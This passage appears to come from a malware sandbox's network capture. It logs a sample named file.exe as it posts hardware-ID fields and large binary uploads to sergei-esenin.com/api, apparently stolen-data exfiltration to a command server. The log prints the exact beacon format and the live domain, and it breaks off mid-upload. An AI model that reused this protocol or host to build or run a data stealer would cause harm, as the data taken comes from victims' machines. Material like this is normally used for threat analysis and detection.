41 6e 35 5a 42 61 32 33 63 48 4e 78 52 77 76 30 45 4e 47 61 36 5a 61 4a 72 52 59 32 78 7a 53 36 6b 2f 73 51 41 66 43 63 Data Ascii: Bcm2jpk/WPj4fIjOfThwItYVeloAnEkse8mPxRw0JzMFiZ7jGH49gaxZ9Z/hWW1Hx2wmLgDESCl24I7kEHxvLpwwS7ZRNziAuBnxQjmElN7aWR5fHf0MNEOo+/18wWMTZDXujiwyAcAwKPXC/VgpEhJtOmNZ5RUIRhAeeR0dYitlqZ63TSMlwYVlhJe0TTFnxigeAgH8SFQzkca1HUVjLmiAn5ZBa23cHNxRwv0ENGa6ZaJrRY2xzS6k/sQAfCc
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 31 65 64 65 0d 0a 73 65 38 6d 4c 78 52 78 74 59 31 4e 6c 31 4f 2b 36 53 54 39 59 7a 4b 78 73 31 66 61 35 44 58 44 65 64 73 45 53 55 78 57 64 56 63 32 43 4c 4f 36 38 4b 42 68 2f 4f 75 54 55 6a 34 4b 31 79 37 79 45 2b 47 58 46 59 75 31 59 59 53 65 33 56 55 64 6d 59 4b 58 4e 48 54 71 63 2b 75 45 55 70 48 35 71 61 63 6e 75 6a 6c 77 79 41 63 42 77 45 50 6e 75 32 52 31 6b 6f 71 59 56 45 6c 73 63 72 63 6b 70 49 71 58 48 78 52 77 56 59 31 4e 6b 7a 50 2f 4f 65 51 39 39 38 50 68 4d 30 50 76 59 41 46 55 6e 37 31 55 69 54 30 47 52 64 53 68 4b 73 50 37 46 48 46 6c 61 56 32 53 52 31 75 38 41 43 6d 43 4a 35 55 58 4d 35 75 31 49 4a 44 36 43 44 53 74 37 2b 56 33 39 66 57 62 6f 79 2f 54 59 45 48 4a 71 4d 4d 53 58 6b 72 58 4c 31 49 6a 34 5a 4d 44 79 4a 56 68 67 4a 72 5a 49 Data Ascii: 1edese8mLxRxtY1Nl1O+6ST9YzKxs1fa5DXDedsESUxWdVc2CLO68KBh/OuTUj4K1y7yE+GXFYu1YYSe3VUdmYKXNHTqc+uEUpH5qacnujlwyAcBwEPnu2R1koqYVElscrckpIqXHxRwVY1NkzP/OeQ998PhM0PvYAFUn71UiT0GRdShKsP7FHFlaV2SR1u8ACmCJ5UXM5u1IJD6CDSt7+V39fWboy/TYEHJqMMSXkrXL1Ij4ZMDyJVhgJrZI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49716	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:14 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 07:07:14 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:07:15 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nf0tj7734crj2j5314ejleu6gg; expires=Mon, 17 Feb 2025 00:53:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JOW1CZOce15nBpyAlA5tPkoRFIFYg%2Bp0Tl6I2kEHK3H3pVzc2V0TFAJd2Ds8bZ5Z2nKhalzEFujgKv41OlcpsqHBpO%2F%2B0qAJI7fHvDoc85w0O%2FefFkqFTNppkPmuCuSQEzXDIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7820f97f076bd8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1553&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13894&delivery_rate=1915343&cwnd=251&unsent_bytes=0&cid=041161c52f8f3f65&ts=566&x=0"
2024-10-24 07:07:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:07:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49722	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:16 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 07:07:16 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:07:16 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rr00vv1oklt2rijmguf93q5omg; expires=Mon, 17 Feb 2025 00:53:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t5fGmMvTDD6bc9akoGTkXVjJDfxkVPmzd9m7YcNwnrBGPhLpV7wuJ0bYcTQ7XojxemtY%2Fa0hOuRZCokdsRVb%2BQRjuLOmHbiIf3dIVaGkxITNREVDcsAeV%2FteIvxZcP39lnR6SA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d782101a8a66b70-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1171&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16140&delivery_rate=2429530&cwnd=251&unsent_bytes=0&cid=3f7438b7a8942493&ts=602&x=0"
2024-10-24 07:07:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:07:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49729	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:17 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 07:07:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:07:17 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 07:07:18 UTC	1029	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=urubfcpnd2n8d7ap077qi1a7a1; expires=Mon, 17 Feb 2025 00:53:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KeMmUQudls7o8CTtHsi5wrtI5g89aq%2BdvRECdmW%2Bw0uGV3PdgmrXGRM1TpCH4TCcz3SbUacZdanCz0aG%2FgnNg%2BxjSgsiWCsfHTMMIccYWMs6u6e%2FC%2FedpY%2F9BJ%2B2Eqo09nPgOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78210a4b9ae5ad-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1185&sent=13&recv=28&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21020&delivery_rate=2379622&cwnd=250&unsent_bytes=0&cid=6057af1f71da3928&ts=705&x=0"
2024-10-24 07:07:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:07:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49740	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:19 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1223 Host: sergei-esenin.com
2024-10-24 07:07:19 UTC	1223	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:07:19 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v07e0pncg9718c884n1rpi7hks; expires=Mon, 17 Feb 2025 00:53:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zuse8GpYHl4qNku67oSiOfWXJzyw9yJXdhLLvGjkVN3h03k1%2BPiUXwpcaC6kE5Og2H5y%2BuC2iNFmOKOytIzskp4MY4YvRRwxDoeWdmfx9sYBcb2bg3sNL%2FUqVF6EPTt%2FAE7iSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d782115a9a56b7f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1895&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2230&delivery_rate=1525816&cwnd=244&unsent_bytes=0&cid=bf50cc014e00f35e&ts=516&x=0"
2024-10-24 07:07:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:07:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49751	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:20 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 573151 Host: sergei-esenin.com
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 7d 30 55 0a a8 8c 41 39 2d b0 ab 8d 3b 73 46 01 64 ba 10 41 03 fd f5 08 ff 39 dc 20 3b b4 a5 b2 5c 36 3b a1 db b5 d1 fb 99 e1 02 47 4d 75 84 e5 b9 f1 d2 00 e7 cd d2 ff ee 2b f8 ff be 64 00 7a 45 37 98 c5 81 44 0b 6a 31 17 b0 6b 7f 2d 67 32 6d 32 47 63 7d 53 d8 25 14 bf 6d 28 de 4e 4a c8 c1 38 78 2b ce dc b9 e7 57 d3 93 1b 10 01 17 d3 b2 9d 3d 71 a0 4d 99 f7 87 05 3a 7e 5b 9e 73 35 a4 a4 01 53 b7 09 2a 75 68 01 9b 6f 33 23 93 de 99 b3 c5 fa e4 e8 2e 3c 28 6e 34 22 e5 c9 e2 94 06 ff bb 6e 32 b5 ce 4a 51 7b 18 56 60 55 02 3b 0f fe 8f ca 2a 4c f9 59 cc 1c 05 89 09 82 dc 95 b9 cd 2e e2 3c d2 8a 72 03 77 31 c7 37 54 53 98 4c a2 21 5e 47 78 43 6e e5 53 08 6c bc ad f4 41 a4 29 16 f6 ff 09 ad 6d c5 a9 9a dd b1 0e ab 54 76 80 c8 13 cd 8d 9d 69 9d fc 09 f3 ab 75 75 Data Ascii: }0UA9-;sFdA9 ;\6;GMu+dzE7Dj1k-g2m2Gc}S%m(NJ8x+W=qM:~[s5Suho3#.<(n4"n2JQ{V`U;LY.<rw17TSL!^GxCnSlA)mTviuu
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: c1 9d e4 17 c6 00 41 5f 18 91 29 49 c1 4e a0 44 d2 96 43 60 ee e6 a2 a4 f8 84 58 07 e4 ba 1a b1 a9 32 2c eb 04 cb 87 21 cc 22 ad 66 cd ab cc 3a f7 71 73 d1 a7 a3 b7 33 7e 3d ae 66 51 a1 ed 77 99 9d c5 7f 0d 76 1b 0b c0 5a c5 8e 18 51 a6 53 1e 1a c9 f7 ad a2 9a 4d a9 f7 b9 b2 17 19 12 9b c3 9a 01 b8 4b e6 ec 60 41 b2 10 3f 94 04 5e 7e 8f 7e a2 5a 66 48 cf dd d1 62 bc b1 fd a8 6a d2 1c 22 ef aa ad 73 58 d9 9d d8 c7 db 90 60 bb 0a ec 18 e2 92 52 76 aa fa f3 cb d8 d1 48 a6 7a e9 50 ba 98 59 2b 43 1e 9a 34 6a 24 b7 e8 35 51 92 96 f5 ff 02 4b e1 98 24 05 b5 49 11 2a 81 7d e3 e3 81 63 37 07 f0 f6 39 49 60 29 33 94 34 f3 44 98 34 35 bd 3a f1 86 52 cb af d8 9b 5e da a3 bf 31 7d 9c 8a c4 16 c2 16 15 f2 d5 93 32 4e 0e f6 ab 16 53 0f bb 04 cd e1 48 93 41 35 c8 91 ce Data Ascii: A_)INDC`X2,!"f:qs3~=fQwvZQSMK`A?^~~ZfHbj"sX`RvHzPY+C4j$5QK$I*}c79I`)34D45:R^1}2NSHA5
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 8c 27 6a 00 f7 0e af 62 34 bc d9 2a d8 ec 5e e0 c5 de b7 7a 6e b3 69 dd b9 8d 77 4c f2 02 3f f0 2a 56 a6 8b 8c 7f 1d 7a d7 5f 2e 96 6f 71 8f 60 7c 06 66 3e a6 85 4d 6b b4 30 fe 36 d8 99 59 df f1 13 63 74 85 b8 a5 cb c0 62 f2 b5 15 9c ef 7e d7 94 e8 d0 38 33 56 f1 b0 22 ed 91 be f8 df e4 ba d6 ea aa 22 1b 4e de df 72 82 e9 2f 73 cd 47 be 77 4f b5 ff 1b 1e a8 43 54 3d 26 f5 61 0e dc 3f b6 3f 76 72 45 9b 4d ad fe 72 2a 6d 21 b8 71 2d b6 ec 8b e1 f5 f1 3b 6b 46 53 7c c7 69 a9 a1 ac dc ab 7f 9d d8 f4 fe 64 a8 40 0b 71 fc fa 2d 76 63 6a 41 d6 0a 5f 38 b3 50 95 90 7e 2e 74 be 3f cc e1 53 7d f5 df ee 72 3f e5 5a 2f b6 72 aa c6 22 44 52 03 fd 07 59 6a 32 3e cb 13 6b 2f bd 97 4f 9b f0 81 f6 25 4e cc 2c c3 de 11 ab 54 71 40 51 75 98 d6 fe 6b b8 67 3f a7 93 c3 0a 55 Data Ascii: 'jb4^zniwL?Vz_.oq`\|f>Mk06Yctb~83V""Nr/sGwOCT=&a??vrEMr*m!q-;kFS\|id@q-vcjA_8P~.t?S}r?Z/r"DRYj2>k/O%N,Tq@Qukg?U
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: d3 47 77 5b 0d 84 72 af e2 11 74 8d bf b2 f2 d2 27 69 ae d6 0e 6f 0c cc 71 99 a5 60 46 8f 4c d6 8b db 55 83 41 82 f0 bb d5 a8 22 e7 34 b1 38 fd 46 1a b4 60 85 31 0e 42 8c f5 60 4f 5c a1 31 9d 00 ba f0 85 f1 9b d3 8a 86 a2 b7 7a 53 f2 23 e9 1d 79 86 4a 18 ee af 82 e7 9b 48 cf 6b 07 e5 cf f3 41 35 04 70 be 59 ec 09 8b 3a c1 ec cb 29 48 db ea 11 de fd e8 91 b3 a8 fb d8 27 0f 93 15 a0 44 ea 0a 08 8d 7a 29 9b 85 2f c2 86 76 ef b2 e1 c2 48 c8 75 ab b3 58 d2 83 7c 25 3b 42 f3 df 7e 64 ab 81 a2 a6 a0 92 55 f4 af 93 e4 78 01 81 3f 73 ac 94 6b 73 b9 6b bc b5 fe ca 1a 17 b0 fb 6d fa 40 04 54 d0 6a ea 8a 2e b5 f1 ef 5d 3d 77 61 e1 e4 79 bf a4 45 9b 63 15 bf dc 8f bd 63 9a 9f 77 7e 44 27 2f f0 fc 67 ee d3 b1 af cc 7d 19 4d 37 4a 86 f9 fe 7f e7 ec ba 24 28 fd c5 83 54 Data Ascii: Gw[rt'ioq`FLUA"48F`1B`O\1zS#yJHkA5pY:)H'Dz)/vHuX\|%;B~dUx?skskm@Tj.]=wayEccw~D'/g}M7J$(T
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 78 1a 42 a6 50 0e 04 7b 09 8f 1c 2c 6d ab e6 bd 02 42 9c a6 39 5e b9 a8 28 1f e2 ee 36 e9 92 c9 4b c2 46 4d 60 30 79 cb 09 66 4e d0 48 50 9d c9 89 07 94 06 ab 02 e3 70 8f 7c 58 49 70 f1 7d c0 a4 c3 3c fe c8 0b 91 06 a7 a8 df b2 47 88 1f 12 cc 6d c3 bc 38 ef d9 a5 c5 72 2d 0f 36 cd cb a7 8d 26 e9 25 ff ce 8a a3 cc 5d 22 2f 50 6f 76 ee 3a 69 c8 70 fa 50 7b 27 55 71 99 a1 9b 49 2f 11 35 ba 12 32 fb 95 5c 17 54 ac 53 fb 53 44 4d 25 ee 83 3d ac 8b f5 f3 02 1f b1 89 4e e7 31 19 a6 7a 25 78 17 4d fc da a1 a3 61 8e 47 12 87 48 a7 c6 66 28 d3 5a b5 62 75 be ef 73 ee ee 1d 90 78 fc 86 aa b5 4d e4 8d 28 c2 ec cd d7 b5 1a 08 3f 02 20 95 31 3f ac 93 cf a0 f4 b0 8d f3 4f 94 01 bd cc 9c 4b 45 be 32 8a 50 78 34 71 3a 6a f3 76 80 86 5a 33 72 1b 7b f3 a3 c4 47 fa 4a 4d 92 Data Ascii: xBP{,mB9^(6KFM`0yfNHPp\|XIp}<Gm8r-6&%]"/Pov:ipP{'UqI/52\TSSDM%=N1z%xMaGHf(ZbusxM(? 1?OKE2Px4q:jvZ3r{GJM
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 09 d4 d4 15 e3 57 8a db 50 33 fd 41 28 d6 d5 c3 2a 37 7a 83 2f 85 d1 d2 a3 0a b4 d8 47 b8 1b a3 41 64 06 3d cc c7 8f a4 a2 c6 d5 82 20 42 bc 4a 25 da 24 ed 30 78 38 ef 14 b0 f5 b6 71 86 3c 3d f9 e3 f0 9a c2 cb d9 c8 65 2d 72 c2 10 7a 23 27 50 6e b0 52 07 0a 7b c2 25 a1 a4 d7 b4 51 b8 7b e7 b4 9f 72 57 30 c8 25 3c 81 0b fe fb c4 81 f0 3e 12 63 28 26 5a 66 99 a8 32 c6 7d 1d 8a 0a 0d 3f ca 08 e5 6a 11 86 19 62 8b 0c eb a3 ae d7 8d ac 9c 30 5b 51 0b d8 9f e7 e8 53 2c 8b 04 a7 97 81 1e 66 2a d9 b3 95 3b 3c 6b fd 49 95 2b 12 53 6a b5 65 e8 38 11 d7 86 d2 2d 51 a8 4e fc 11 a5 48 30 ac 59 8b 8b 18 47 8e 5d e3 6f e8 f1 b1 bf 82 37 b0 72 1e b2 70 42 6c 0c 8b 7f 64 f8 91 93 70 08 43 